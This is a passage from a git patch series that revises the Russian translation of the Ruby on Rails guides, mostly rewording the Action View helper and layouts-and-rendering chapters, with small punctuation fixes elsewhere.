обратитесь к документации `ActionView::Helpers::FormTagHelper`. +Существует два типа хелперов форм: те, которые работают с атрибутами модели, и те, которые нет. Этот хелпер относится к тем, которые работают с атрибутами модели; чтобы посмотреть примеры хелперов форм, которые не работают с атрибутами модели, обратитесь к документации `ActionView::Helpers::FormTagHelper`. Основной метод этого хелпера, `form_for`, дает возможность создавать форму для экземпляра модели; например, допустим, что имеется модель Person, и мы хотим создать ее новый экземпляр: @@ -830,7 +830,7 @@ third: ``` -Объект params, созданный после отправки этой формы, будет выглядеть так: +Объект params, созданный при отправке этой формы, будет выглядеть так: ```ruby { "action" => "create", "controller" => "people", "person" => { "first_name" => "William", "last_name" => "Smith" } } @@ -875,7 +875,7 @@ file_field(:user, :avatar) #### form_for -Создает форму и пространство имен вокруг определенного объекта модели, используемого как основа для запроса значений для полей. +Создает форму и пространство имен вокруг определенного объекта модели, используемого как основа для опроса значений полей. ```html+erb <%= form_for @article do |f| %> @@ -906,7 +906,7 @@ label(:article, :title) #### password_field -Возвращает тег input типа "password" с учетом доступа к определенному атрибуту.. +Возвращает тег input типа "password" с учетом доступа к определенному атрибуту. ```ruby password_field(:login, :pass) @@ -965,7 +965,7 @@ url_field(:user, :url) ### FormOptionsHelper -Представляет ряд методов для превращения различного рода контейнеров в набор тегов option. +Предоставляет ряд методов для превращения различного рода контейнеров в набор тегов option. #### collection_select @@ -1079,7 +1079,7 @@ collection_check_boxes(:article, :author_ids, Author.all, :id, :name_with_initia #### option_groups_from_collection_for_select -Возвращает строку с тегами `option`, подобно `options_from_collection_for_select`, но группирует их тегами `optgroup` на основе отношений аргументов. +Возвращает строку с тегами `option`, подобно `options_from_collection_for_select`, но группирует их тегами `optgroup` на основе объектных отношений аргументов. Пример структуры объекта для использования с этим методом: @@ -1121,14 +1121,14 @@ Note: Возвращаются только теги `optgroup` и `option`, в #### options_for_select -Принимает контейнер (hash, array, enumerable, ваш тип) и возвращает строку тегов option. +Принимает контейнер (хэш, массив, перечисление, ваш тип) и возвращает строку тегов option. ```ruby options_for_select([ "VISA", "MasterCard" ]) # => ``` -Note: Возвращаются только теги `option`, вам все еще нужно обернуть результат в обычный тег HTML `select`. +Note: Возвращаются только теги `option`, вам все еще нужно обернуть результат в обычный HTML-тег `select`. #### options_from_collection_for_select @@ -1145,7 +1145,7 @@ options_from_collection_for_select(@project.people, "id", "name") # => ``` -Note: Возвращаются только теги `option`, вам все еще нужно обернуть результат в обычный тег HTML `select`. +Note: Возвращаются только теги `option`, вам все еще нужно обернуть результат в обычный HTML-тег `select`. #### select @@ -1170,11 +1170,11 @@ select("article", "person_id", Person.all.collect { |p| [ p.name, p.id ] }, { in #### time_zone_options_for_select -Возвращает строку тегов option для практически всех временных зон мира. +Возвращает строку тегов option для практически любой временной зоны в мире. #### time_zone_select -Возвращает теги select и option для заданного объекта и метода с помощью `time_zone_options_for_select` для создания списка тегов option. +Возвращает теги select и option для заданного объекта и метода, используя `time_zone_options_for_select` для создания списка тегов option. ```ruby time_zone_select( "user", "time_zone") @@ -1182,7 +1182,7 @@ time_zone_select( "user", "time_zone") #### date_field -Создает тег input типа "date", созданного с учетом доступа к определенному атрибуту. +Возвращает тег input типа "date" с учетом доступа к определенному атрибуту. ```ruby date_field("user", "dob") @@ -1190,11 +1190,11 @@ date_field("user", "dob") ### FormTagHelper -Предоставляет ряд методов для создания тегов форм, не полагающихся на объект Active Record, назначенный шаблону, как делает FormHelper. Вместо этого вы предоставляете имена и значения вручную. +Предоставляет ряд методов для создания тегов форм, которые не зависят от объекта Active Record, назначенного шаблону, как делает FormHelper. Вместо этого вы предоставляете вручную имена и значения. #### check_box_tag -Создает поле ввода в виде чек-бокса. +Создает тег поля ввода формы в виде чекбокса. ```ruby check_box_tag 'accept' @@ -1203,7 +1203,7 @@ check_box_tag 'accept' #### field_set_tag -Создает fieldset для группировки элементов форм HTML. +Создает fieldset для группировки элементов формы HTML. ```html+erb <%= field_set_tag do %> @@ -1214,7 +1214,7 @@ check_box_tag 'accept' #### file_field_tag -Создает поле загрузки файла. +Создает поле для загрузки файла. ```html+erb <%= form_tag({ action:"post" }, multipart: true) do %> @@ -1232,7 +1232,7 @@ file_field_tag 'attachment' #### form_tag -Начинает тег form, указывающий action URL, настроенный с помощью `url_for_options`, как в `ActionController::Base#url_for`. +Открывает тег form, указывающий action по URL-адресу, настроенный с помощью `url_for_options`, как `ActionController::Base#url_for`. ```html+erb <%= form_tag '/articles' do %> @@ -1243,7 +1243,7 @@ file_field_tag 'attachment' #### hidden_field_tag -Создает скрытое поле input, используемое для передачи данных, которые могли бы быть потеряны из-за особенностей HTTP, или данные, которые должны быть скрыт от пользователя. +Создает скрытое поле input, используемое для передачи данных, которые будут потеряны из-за протокола без сохранения состояния HTTP, или данные, которые должны быть скрыты от пользователя. ```ruby hidden_field_tag 'token', 'VUBJKB23UIVI1UU1VOBVI@' @@ -1252,7 +1252,7 @@ hidden_field_tag 'token', 'VUBJKB23UIVI1UU1VOBVI@' #### image_submit_tag -Отображает изображение, при нажатии на котором будет отправлена форма. +Отображает изображение, при нажатии на которое будет отправлена форма. ```ruby image_submit_tag("login.png") @@ -1270,7 +1270,7 @@ label_tag 'name' #### password_field_tag -Создает поле для ввода пароля, поле маскированного текста, которое спрячет то, что вводит пользователь символами маски. +Создает поле для ввода пароля, скрытое текстовое поле, которое спрячет то, что вводит пользователь символами маски. ```ruby password_field_tag 'pass' @@ -1279,7 +1279,7 @@ password_field_tag 'pass' #### radio_button_tag -Создает радио-кнопку; используйте группу радио-кнопок с одинаковым именем, чтобы разрешить пользователям выбирать из группы опций. +Создает радио-кнопку; используйте группу радио-кнопок с одинаковым именем, чтобы пользователи могли выбирать из группы опций. ```ruby radio_button_tag 'gender', 'male' @@ -1288,7 +1288,7 @@ radio_button_tag 'gender', 'male' #### select_tag -Создает выпадающее поле выбора. +Создает выпадающий список. ```ruby select_tag "people", "" @@ -1297,7 +1297,7 @@ select_tag "people", "" #### submit_tag -Создает кнопку подтверждения с текстом-надписью. +Создает кнопку для отправки формы с текстом-заголовком. ```ruby submit_tag "Publish this article" @@ -1306,7 +1306,7 @@ submit_tag "Publish this article" #### text_area_tag -Создает поле ввода текста; используйте textarea для длинного ввода текста, такого как статьи или описания. +Создает область ввода текста; используйте textarea для длинного ввода текста, такого как статьи в блоге или описания. ```ruby text_area_tag 'article' @@ -1315,7 +1315,7 @@ text_area_tag 'article' #### text_field_tag -Создает обычное поле ввода текста; используйте их для ввода небольших кусочков текста, таких как имя пользователя или поисковый запрос. +Создает стандартное поле ввода текста; используйте их для ввода небольших кусочков текста, таких как имя пользователя или поисковый запрос. ```ruby text_field_tag 'name' @@ -1375,11 +1375,11 @@ alert('All is good') ### NumberHelper -Представляет методы для конвертации чисел в форматированные строки. Методы предоставлены для телефонных номеров, валют, процентов, позиционных систем исчисления и размеров файла. +Предоставляет методы для конвертации чисел в форматированные строки. Методы предоставлены для телефонных номеров, валют, процентов, позиционных систем счисления и размеров файла. #### number_to_currency -Форматирует число в строку с валютой (например, $13.65). +Форматирует число в строку с символом валюты (например, $13.65). ```ruby number_to_currency(1234567890.50) # => $1,234,567,890.50 @@ -1387,7 +1387,7 @@ number_to_currency(1234567890.50) # => $1,234,567,890.50 #### number_to_human_size -Форматирует размер в байтах в более понимаемое представление; полезно для показа размеров файла пользователям. +Форматирует размер в байтах в более понятное представление; полезно для показа размеров файла пользователям. ```ruby number_to_human_size(1234) # => 1.2 KB @@ -1396,7 +1396,7 @@ number_to_human_size(1234567) # => 1.2 MB #### number_to_percentage -Форматирует число в строку с процентом. +Форматирует число в строку с символом процента. ```ruby number_to_percentage(100, precision: 0) # => 100% @@ -1412,7 +1412,7 @@ number_to_phone(1235551234) # => 123-555-1234 #### number_with_delimiter -Группирует тысячи в числе с помощью разделителя. +Форматирует число с сгруппированными тысячами, используя разделитель. ```ruby number_with_delimiter(12345678) # => 12,345,678 @@ -1429,11 +1429,11 @@ number_with_precision(111.2345, precision: 2) # => 111.23 ### SanitizeHelper -Модуль SanitizeHelper представляет набор методов для очистки текста от нежелательных элементов HTML. +Модуль SanitizeHelper предоставляет набор методов для очистки текста от нежелательных элементов HTML. #### sanitize -Хелпер sanitize экранирует все теги HTML и удалит все атрибуты, которые не разрешены явно. +Хелпер sanitize экранирует все теги HTML и удаляет все атрибуты, которые не разрешены явно. ```ruby sanitize @article.body @@ -1508,7 +1508,7 @@ NOTE: Обычные формы создают скрытые поля, поэт В Action View есть возможность рендерить различные шаблоны в зависимости от текущей локали. -Например, у вас есть `ArticlesController` с экшном show. По умолчанию вызов этого экшна отрендерит `app/views/articles/show.html.erb`. Но если вы установите `I18n.locale = :de`, то вместо него будет отрендерен `app/views/articles/show.de.html.erb`. Если локализованный шаблон отсутствует, будет использована недекорированная версия. Это означает, что не нужно предоставлять локализованные вьюхи для всех случаев, но они будут предпочтены и использованы, если будут доступны. +Например, предположим, что у вас есть `ArticlesController` с экшном show. По умолчанию вызов этого экшна отрендерит `app/views/articles/show.html.erb`. Но если вы установите `I18n.locale = :de`, то вместо него будет отрендерен `app/views/articles/show.de.html.erb`. Если локализованный шаблон отсутствует, будет использована недекорированная версия. Это означает, что не нужно предоставлять локализованные вьюхи для всех случаев, но они будут предпочтительными и будут использоваться, если станут доступны. Ту же технику можно использовать для локализации страниц ошибок в директории public. Например, установка `I18n.locale = :de` и создание `public/500.de.html` и `public/404.de.html` позволит иметь локализованные страницы ошибок. @@ -1522,6 +1522,6 @@ def set_expert_locale end ``` -Затем можно добавить специальные вьюхи, такие как `app/views/articles/show.expert.html.erb` которые будут отображены только экспертам. +Затем можно добавить специальные вьюхи, такие как `app/views/articles/show.expert.html.erb` которые будут отображены только пользователям expert. Подробнее об API интернационализации Rails (I18n) можно прочитать [тут](/rails-internationalization-i18n-api). From 2c4b439164cce3b049c04b962ddc6c1c3fb6895d Mon Sep 17 00:00:00 2001 From: ydakuka Date: Mon, 19 Jun 2017 11:37:37 +0300 Subject: [PATCH 313/932] Fix triangular quotes --- source/action_mailer_basics.md | 2 +- source/active_support_core_extensions.md | 2 +- source/association_basics.md | 2 +- source/security.md | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) diff --git a/source/action_mailer_basics.md b/source/action_mailer_basics.md index 581d971a..e0a2964c 100644 --- a/source/action_mailer_basics.md +++ b/source/action_mailer_basics.md @@ -267,7 +267,7 @@ class AdminMailer < ApplicationMailer end ``` -Тот же формат может быть использован для назначения получателей копии (Cc:) и скрытой копии (Bcc:), при использовании ключей :cc и :bcc соответственно. +Тот же формат может быть использован для назначения получателей копии (Cc:) и скрытой копии (Bcc:), при использовании ключей `:cc` и `:bcc` соответственно. #### Рассылка Email с именем diff --git a/source/active_support_core_extensions.md b/source/active_support_core_extensions.md index 9a2eabdc..0e07a73d 100644 --- a/source/active_support_core_extensions.md +++ b/source/active_support_core_extensions.md @@ -1001,7 +1001,7 @@ NOTE: Определено в `active_support/core_ext/class/subclasses.rb`. #### `descendants` -Метод `descendants` возвращает все классы, которые являются < к его получателю: +Метод `descendants` возвращает все классы, которые являются `<` к его получателю: ```ruby class C; end diff --git a/source/association_basics.md b/source/association_basics.md index 71451ab3..844fdc74 100644 --- a/source/association_basics.md +++ b/source/association_basics.md @@ -1114,7 +1114,7 @@ TIP: При использовании метода `select` на связи `be ### Существуют ли связанные объекты? -Можно увидеть, существует ли какой-либо связанный объект, при использовании метода `association.nil?`: +Можно увидеть, существует ли какой-либо связанный объект, при использовании метода `association.nil?`: ```ruby if @book.author.nil? diff --git a/source/security.md b/source/security.md index 6b47cc53..70bd4ae5 100644 --- a/source/security.md +++ b/source/security.md @@ -746,7 +746,7 @@ s = sanitize(user_input, tags: tags, attributes: %w(href title)) Это допустит только заданные теги и сделает все хорошо, даже против всех ухищрений и злонамеренных тегов. -В качестве второго шага, _хорошо экранировать весь вывод в приложении_, особенно при отображении пользовательского ввода, который не был отфильтрован при вводе (как в примере выше). _Используйте метод `escapeHTML()` (или его псевдоним `h()`)_, чтобы заменить введенные символы HTML &, ", <, > их неинтерпретируемыми представителями в HTML (`&`, `"`, `<`;, and `>`). +В качестве второго шага, _хорошо экранировать весь вывод в приложении_, особенно при отображении пользовательского ввода, который не был отфильтрован при вводе (как в примере выше). _Используйте метод `escapeHTML()` (или его псевдоним `h()`)_, чтобы заменить введенные символы HTML &, ", <, > их неинтерпретируемыми представителями в HTML (`&`, `"`, `<` и `>`). ##### Обфусцированная и закодированная инъекция From 77810fece599376cc4f20a5fc79922e7b79865ff Mon Sep 17 00:00:00 2001 From: ydakuka Date: Mon, 19 Jun 2017 14:08:05 +0300 Subject: [PATCH 314/932] fix lar guide --- source/layouts_and_rendering.md | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/source/layouts_and_rendering.md b/source/layouts_and_rendering.md index e20c81ee..ab23987f 100644 --- a/source/layouts_and_rendering.md +++ b/source/layouts_and_rendering.md @@ -1,7 +1,7 @@ Макеты и рендеринг в Rails ========================== -Это руководство раскрывает основы возможностей макетов Action Controller и Action View. +Это руководство раскрывает основные возможности макетов Action Controller и Action View. После прочтения этого руководства, вы узнаете: @@ -26,11 +26,9 @@ * Вызвать `redirect_to` для передачи браузеру кода переадресации HTTP * Вызвать `head` для создания отклика, включающего только заголовки HTTP, возвращаемого браузеру -Мы раскроем каждый из этих методов по очереди. Но сначала немного о самой простой вещи, которую может делать контроллер для создания отклика: не делать ничего. - ### Рендеринг по умолчанию: соглашение над конфигурацией в действии -Вы уже слышали, что Rails содействует принципу "convention over configuration". Рендеринг по умолчанию - прекрасный пример этого. По умолчанию контроллеры в Rails автоматически рендерят вьюхи с именами, соответствующими экшну. Например, если есть такой код в вашем классе `BooksController`: +Вы уже слышали, что Rails содействует принципу "соглашения по конфигурации". Рендеринг по умолчанию - прекрасный пример этого. По умолчанию контроллеры в Rails автоматически рендерят вьюхи с именами, соответствующими валидным маршрутам. Например, если есть такой код в вашем классе `BooksController`: ```ruby class BooksController < ApplicationController @@ -99,7 +97,7 @@ NOTE: Фактически рендеринг осуществляется по Во многих случаях метод `ActionController::Base#render` выполняет большую работу по рендерингу содержимого Вашего приложения для использования в браузере. Имеются различные способы настройки возможностей `render`. Вы можете рендерить вьюху по умолчанию для шаблона Rails, или определенный шаблон, или файл, или встроенный код, или совсем ничего. Можно рендерить текст, JSON или XML. Также можно определить тип содержимого или статус HTTP отрендеренного отклика. -TIP: Если хотите увидеть точные результаты вызова `render` без необходимости смотреть его в браузере, можете вызвать `render_to_string`. Этот метод принимает те же самые опции, что и `render`, но возвращает строку вместо отклика для браузера. +TIP: Если хотите увидеть точные результаты вызова `render` без необходимости проверять это в браузере, можете вызвать `render_to_string`. Этот метод принимает те же самые опции, что и `render`, но возвращает строку вместо отправки отклика обратно в браузер. #### Рендеринг вьюхи экшна From 44a533c9a21b2a1f59f980b77205f4ad1fff90fd Mon Sep 17 00:00:00 2001 From: ydakuka Date: Thu, 22 Jun 2017 10:55:57 +0300 Subject: [PATCH 315/932] rewrite-lar --- .yaspellerrc | 2 +- source/action_view_overview.md | 2 +- source/layouts_and_rendering.md | 177 ++++++++++++++++---------------- source/security.md | 2 +- 4 files changed, 89 insertions(+), 94 deletions(-) diff --git a/.yaspellerrc b/.yaspellerrc index 7257c73d..ccdaa656 100644 --- a/.yaspellerrc +++ b/.yaspellerrc @@ -99,7 +99,7 @@ "мапинг(а|у|е|и|ах|ам|)", "маршализаци(и|ю|я|ей)", "масштабируемост(и|ь|ей|ью|ям|ях|ями)", - "межсайтов(ая|ое|ой|ую|ые|ым|ый|ых|ого|ыми)", + "межсайтов(ая|ое|ой|ом|ую|ые|ым|ый|ых|ого|ыми)", "метатег(а|е|и|у|ах|ов|ом|ами|)", "мержит(ь|ся|ься|)", "минифайеры", diff --git a/source/action_view_overview.md b/source/action_view_overview.md index 6ffdd8c3..74536520 100644 --- a/source/action_view_overview.md +++ b/source/action_view_overview.md @@ -295,7 +295,7 @@ json.email("alex@example.com") Rails определяет имя используемого партиала по имени модели в коллекции, в данном случае `Product`. Фактически с помощью этого сокращенного синтаксиса можно рендерить коллекцию, состоящую из экземпляров различных моделей, и Rails выберет подходящий партиал для каждого члена коллекции. -#### Spacer Templates +#### Разделяющие шаблоны Также можете определить второй партиал, который будет отрендерен между экземплярами главного партиала, используя опцию `:spacer_template`: diff --git a/source/layouts_and_rendering.md b/source/layouts_and_rendering.md index ab23987f..fe727de3 100644 --- a/source/layouts_and_rendering.md +++ b/source/layouts_and_rendering.md @@ -26,7 +26,7 @@ * Вызвать `redirect_to` для передачи браузеру кода переадресации HTTP * Вызвать `head` для создания отклика, включающего только заголовки HTTP, возвращаемого браузеру -### Рендеринг по умолчанию: соглашение над конфигурацией в действии +### Рендеринг по умолчанию: соглашения по конфигурации в действии Вы уже слышали, что Rails содействует принципу "соглашения по конфигурации". Рендеринг по умолчанию - прекрасный пример этого. По умолчанию контроллеры в Rails автоматически рендерят вьюхи с именами, соответствующими валидным маршрутам. Например, если есть такой код в вашем классе `BooksController`: @@ -97,7 +97,7 @@ NOTE: Фактически рендеринг осуществляется по Во многих случаях метод `ActionController::Base#render` выполняет большую работу по рендерингу содержимого Вашего приложения для использования в браузере. Имеются различные способы настройки возможностей `render`. Вы можете рендерить вьюху по умолчанию для шаблона Rails, или определенный шаблон, или файл, или встроенный код, или совсем ничего. Можно рендерить текст, JSON или XML. Также можно определить тип содержимого или статус HTTP отрендеренного отклика. -TIP: Если хотите увидеть точные результаты вызова `render` без необходимости проверять это в браузере, можете вызвать `render_to_string`. Этот метод принимает те же самые опции, что и `render`, но возвращает строку вместо отправки отклика обратно в браузер. +TIP: Если хотите увидеть точные результаты вызова `render` без необходимости проверять это в браузере, можете вызвать `render_to_string`. Этот метод принимает те же самые опции, что и `render`, но возвращает строку вместо отправки отклика обратно браузеру. #### Рендеринг вьюхи экшна @@ -157,13 +157,13 @@ NOTE: Использование опции `:file` в комбинации с NOTE: По умолчанию файл рендериться с использованием текущего макета. -TIP: Если вы работаете под Microsoft Windows, то должны использовать опцию `:file` для рендера файла, потому что имена файлов Windows не имеют тот же формат, как имена файлов Unix. +TIP: Если вы используете Rails под Microsoft Windows, то должны использовать опцию `:file` для рендера файла, потому что имена файлов Windows не имеют тот же формат, как имена файлов Unix. #### Оборачивание Вышеописанные три метода рендера (рендеринг другого шаблона в контроллере, рендеринг шаблона в другом контроллере и рендеринг произвольного файла в файловой системе) на самом деле являются вариантами одного и того же экшна. -Фактически в методе BooksController, в экшне edit, в котором мы хотим отрендерить шаблон edit, если книга не была успешно обновлена, все нижеследующие вызовы отрендерят шаблон `edit.html.erb` в директории `views/books`: +Фактически в классе BooksController, в экшне update, в котором мы хотим отрендерить шаблон edit, если книга не была успешно обновлена, все нижеследующие вызовы отрендерят шаблон `edit.html.erb` в директории `views/books`: ```ruby render :edit @@ -182,7 +182,7 @@ render file: "/path/to/rails/app/views/books/edit" render file: "/path/to/rails/app/views/books/edit.html.erb" ``` -Какой из них вы будете использовать - это вопрос стиля и соглашений, но практическое правило заключается в использовании простейшего, которое имеет смысл для кода и написания. +Какой из них вы будете использовать - это вопрос стиля и соглашений, но практическое правило заключается в использовании простейшего, который больше подходит по стилю написания вашего кода. #### Использование `render` с `:inline` @@ -194,7 +194,7 @@ render inline: "<% products.each do |p| %>

<%= p.name %>

<% end %>" WARNING: Должно быть серьезное основание для использования этой опции. Вкрапление ERB в контроллер нарушает MVC ориентированность Rails и создает трудности для других разработчиков в следовании логике вашего проекта. Вместо этого используйте отдельную erb-вьюху. -По умолчанию встроенный рендеринг использует ERb. Можете принудить использовать вместо этого Builder с помощью опции `:type`: +По умолчанию встроенный рендеринг использует ERB. Можете принудить использовать вместо этого Builder с помощью опции `:type`: ```ruby render inline: "xml.p {'Horrid coding practice!'}", type: :builder @@ -208,27 +208,25 @@ render inline: "xml.p {'Horrid coding practice!'}", type: :builder render plain: "OK" ``` -TIP: Рендеринг чистого текста наиболее полезен, когда вы делаете Ajax отклик, или отвечаете на запросы веб-сервиса, ожидающего что-то иное, чем HTML. +TIP: Рендеринг чистого текста наиболее полезен, когда вы делаете Ajax-отклик или отвечаете на запросы веб-сервиса, ожидающего что-то иное, чем HTML. NOTE: По умолчанию при использовании опции `:plain` текст рендерится без использования текущего макета. Если хотите, чтобы Rails вложил текст в текущий макет, необходимо добавить опцию `layout: true` и использовать расширение `.txt.erb` для файла макета. #### Рендеринг HTML -Вы можете вернуть html, используя опцию `:html` метода `render`: +Вы можете вернуть HTML, используя опцию `:html` метода `render`: ```ruby render html: "Not Found".html_safe ``` -TIP: Это полезно когда вы хотите отрендерить небольшой кусочек HTML кода. -Однако, если у вас достаточно сложная разметка, стоит рассмотреть выделение её в отдельный файл. +TIP: Это полезно когда вы хотите отрендерить небольшой кусочек HTML кода. Однако, если у вас достаточно сложная разметка, стоит рассмотреть выделение её в файл шаблона. -NOTE: Эта опция будет экранировать HTML, если строка не будет являться безопасной. -NOTE: Когда используется опция `html:`, HTML объекты будут экранироваться если строка не помечена как HTML-безопасная с помощью метода `html_safe`. +NOTE: Когда используется опция `html:`, HTML объекты будут экранироваться, если строка не помечена как HTML-безопасная с помощью метода `html_safe`. #### Рендеринг JSON -JSON - это формат данных javascript, используемый многими библиотеками Ajax. Rails имеет встроенную поддержку для конвертации объектов в JSON и рендеринга этого JSON браузеру: +JSON - это формат данных JavaScript, используемый многими библиотеками Ajax. Rails имеет встроенную поддержку для преобразования объектов в JSON и рендеринга этого JSON обратно браузеру: ```ruby render json: @product @@ -238,7 +236,7 @@ TIP: Не нужно вызывать `to_json` в объекте, которы #### Рендеринг XML -Rails также имеет встроенную поддержку для конвертации объектов в XML и рендеринга этого XML для вызывающего: +Rails также имеет встроенную поддержку для преобразования объектов в XML и рендеринга этого XML обратно вызывающему: ```ruby render xml: @product @@ -256,9 +254,9 @@ render js: "alert('Hello Rails');" Это пошлет указанную строку в браузер с типом MIME `text/javascript`. -#### Рендеринг чистого содержимого +#### Рендеринг необработанного содержимого -Вы можете вернуть чистый текст, без установки типа содержимого, +Вы можете вернуть необработанный текст, без установки типа содержимого, используя опцию `:body`, метода `render`: ```ruby @@ -283,7 +281,7 @@ NOTE: Возвращенным откликом от этой опции буд ##### Опция `:content_type` -По умолчанию Rails укажет результатам операции рендеринга тип содержимого MIME `text/html` (или `application/json` если используется опция `:json`, или `application/xml` для опции `:xml`). Иногда бывает так, что вы хотите изменить это, и тогда можете настроить опцию `:content_type`: +По умолчанию Rails будет обрабатывать результаты операции рендеринга с типом содержимого MIME `text/html` (или `application/json`, если используется опция `:json`, или `application/xml` для опции `:xml`). Иногда бывает так, что нужно изменить это, и тогда необходимо настроить опцию `:content_type`: ```ruby render file: filename, content_type: "application/rss" @@ -293,13 +291,13 @@ render file: filename, content_type: "application/rss" С большинством опций для `render`, отрендеренное содержимое отображается как часть текущего макета. Вы узнаете более подробно о макетах, и как их использовать, позже в этом руководстве. -Опция `:layout` нужна, чтобы сообщить Rails использовать определенный файл как макет для текущего экшна: +Опция `:layout` нужна, чтобы сообщить Rails о необходимости использовать определенный файл как макет для текущего экшна: ```ruby render layout: "special_layout" ``` -Также можно сообщить Rails рендерить вообще без макета: +Также можно сообщить Rails, что требуется рендерить вообще без макета: ```ruby render layout: false @@ -384,12 +382,11 @@ Rails понимает как числовые коды статуса, так | | 510 | :not_extended | | | 511 | :network_authentication_required | -NOTE: Если вы попытаетесь отрендерить содержимое наряду с кодом не соответствующим для отдачи -(100-199, 204, 205 or 304), он будет исключён из ответа. +NOTE: Если попытаться отрендерить содержимое наряду с кодом статуса без содержимого (100-199, 204, 205 или 304), он будет исключён из ответа. ##### Опция `:formats` -Rails использует формат определённый в запросе (или `:html` по умолчанию). Вы можете изменить его, передав в опцию `:formats` символ или массив: +Rails использует формат, определённый в запросе (или `:html` по умолчанию). Вы можете изменить его, передав в опцию `:formats` символ или массив: ```ruby render formats: :xml @@ -400,7 +397,7 @@ render formats: [:json, :xml] ##### Поиск макетов -Чтобы найти текущий макет, Rails сначала смотрит файл в `app/views/layouts` с именем, таким же, как имя контроллера. Например, рендеринг экшнов из класса `PhotosController` будет использовать `/app/views/layouts/photos.html.erb` (или `app/views/layouts/photos.builder`). Если такого макета нет, Rails будет использовать `/app/views/layouts/application.html.erb` или `/app/views/layouts/application.builder`. Если нет макета `.erb`, Rails будет использовать макет `.builder`, если таковой имеется. Rails также предоставляет несколько способов более точно назначить определенные макеты отдельным контроллерам и экшнам. +Чтобы найти текущий макет, Rails сначала смотрит файл в `app/views/layouts` с именем, таким же, как имя контроллера. Например, рендеринг экшнов из класса `PhotosController` будет использовать `/app/views/layouts/photos.html.erb` (или `app/views/layouts/photos.builder`). Если такого макета нет, Rails будет использовать `/app/views/layouts/application.html.erb` или `/app/views/layouts/application.builder`. Если макет `.erb` отсутствует, Rails будет использовать макет `.builder`, если таковой имеется. Rails также предоставляет несколько способов для более точного назначения определенных макетов отдельным контроллерам и экшнам. ##### Определение макетов для контроллеров @@ -413,9 +410,9 @@ class ProductsController < ApplicationController end ``` -С этим объявлением все вьюхи, рендеренные ProductsController, будут использовать `app/views/layouts/inventory.html.erb` как макет. +С этим объявлением все вьюхи, рендеренные `ProductsController`, будут использовать `app/views/layouts/inventory.html.erb` как макет. -Чтобы привязать определенный макет к приложению в целом, используйте объявление в классе `ApplicationController`: +Чтобы привязать определенный макет к приложению в целом, используйте объявление `layout` в классе `ApplicationController`: ```ruby class ApplicationController < ActionController::Base @@ -428,7 +425,7 @@ end ##### Выбор макетов во время выполнения -Можете использовать символ для отсрочки выбора макета до тех пор, пока не будет произведен запрос: +Можно использовать символ для отсрочки выбора макета до тех пор, пока не будет обработан запрос: ```ruby class ProductsController < ApplicationController @@ -448,7 +445,7 @@ end Теперь, если текущий пользователь является специальным, он получит специальный макет при просмотре продукта. -Можете даже использовать вложенный метод, такой как Proc, для определения макета. Например, если передать объект Proc, то блок, переданный в Proc, будет передан в экземпляр `контроллера`, таким образом макет может быть определен, основываясь на текущем запросе: +Можно даже использовать встроенный метод, такой как Proc, для определения макета. Например, если передать объект Proc, то блоку, которому вы передаете Proc, будет предоставлен экземпляр `controller`, поэтому макет может быть определен, основываясь на текущем запросе: ```ruby class ProductsController < ApplicationController @@ -470,7 +467,7 @@ end ##### Наследование макета -Объявления макетов участвуют в иерархии, и более определенное объявление макета всегда переопределяет более общие. Например: +Объявление макета ниже по иерархии и более специфическое объявление макета всегда переопределяет более общие. Например: * `application_controller.rb` @@ -521,9 +518,9 @@ end * `OldArticlesController#show` не будет использовать макет совсем * `OldArticlesController#index` будет использовать макет `old` -##### Наследование шаблонов +##### Наследование шаблона -Следуя логике наследования макетов, если шаблон или партиал не найдены по обычному пути, контроллер будет искать шаблон или партиал для отображения по цепочке наследования. Например: +Следуя логике наследования макета, если шаблон или партиал не найдены по обычному пути, контроллер будет искать шаблон или партиал для рендеринга по цепочке наследования. Например: ```ruby # in app/controllers/application_controller @@ -547,7 +544,7 @@ end * `app/views/admin/` * `app/views/application/` -Это делает `app/views/application/` хорошим местом для ваших общих партиалов, которые затем могут быть отрисованы в ERB так: +Это делает `app/views/application/` хорошим местом для ваших общих партиалов, которые затем могут быть отрендерены в вашем ERB так: ```erb <%# app/views/admin/products/index.html.erb %> @@ -598,17 +595,17 @@ def show end ``` -Это отрендерит книгу с заданным `special?` с помощью шаблона `special_show`, в то время как остальные книги будут рендериться с дефолтным шаблоном `show`. +Это отрендерит книгу (book) с `special?`, заданным с помощью шаблона `special_show`, в то время как остальные книги будут рендериться с дефолтным шаблоном `show`. ### Использование `redirect_to` -Другой способ управлять возвратом отклика на запрос HTTP - с помощью `redirect_to`. Как вы видели, `render` говорит Rails, какую вьюху (или иной ресурс) использовать в создании ответа. Метод `redirect_to` делает нечто полностью отличное: он говорит браузеру послать новый запрос по другому URL. Например, можно перенаправить из того места, где сейчас выполняется код, в индекс фотографий вашего приложения, с помощью этого вызова: +Другой способ управлять возвратом отклика на HTTP-запрос - с помощью `redirect_to`. Как вы видели, `render` сообщает Rails, какую вьюху (или иной ресурс) использовать при построении отклика. Метод `redirect_to` делает нечто совершенно отличное: он говорит браузеру послать новый запрос по другому URL. Например, можно перенаправить из любого места, где сейчас выполняется код, к экшену index фотографий вашего приложения с помощью этого вызова: ```ruby redirect_to photos_url ``` -Вы можете использовать `redirect_back` чтобы вернуть пользователя на страницу, с которой он только что пришел. Это местоположение вытаскивается из заголовка `HTTP_REFERER`, который не гарантируется быть установленным браузером, в таких случаях вы должны предоставить `fallback_location` для использования в таком случае. +Можно использовать `redirect_back`, чтобы вернуть пользователя на страницу с которой он только что пришел. Это местоположение вытаскивается из заголовка `HTTP_REFERER`, который не обязательно будет установлен браузером, поэтому нужно предоставить `fallback_location` для использования в таком случае. ```ruby redirect_back(fallback_location: root_path) @@ -628,7 +625,7 @@ redirect_to photos_path, status: 301 #### Различие между `render` и `redirect_to` -Иногда неопытные разработчики думают о `redirect_to` как о разновидности команды `goto`, перемещающую выполнение из одного места в другое в вашем коде Rails. Это _не_ правильно. Ваш код останавливается и ждет нового запроса от браузера. Просто получается так, что вы говорите браузеру, какой запрос он должен сделать следующим, возвращая код статуса HTTP 302. +Иногда неопытные разработчики думают о `redirect_to` как о разновидности команды `goto`, перемещающую выполнение из одного места в другое в вашем коде Rails. Это _не_ верно. Ваш код останавливается и ждет нового запроса от браузера. Просто получается так, что вы говорите браузеру, какой запрос он должен сделать следующим, возвращая код статуса HTTP 302. Рассмотрим эти экшны, чтобы увидеть разницу: @@ -645,7 +642,7 @@ def show end ``` -С кодом в такой форме, вероятно, будет проблема, если переменная `@book` равна `nil`. Помните, `render :action` не запускает какой-либо код в указанном экшне, и таким 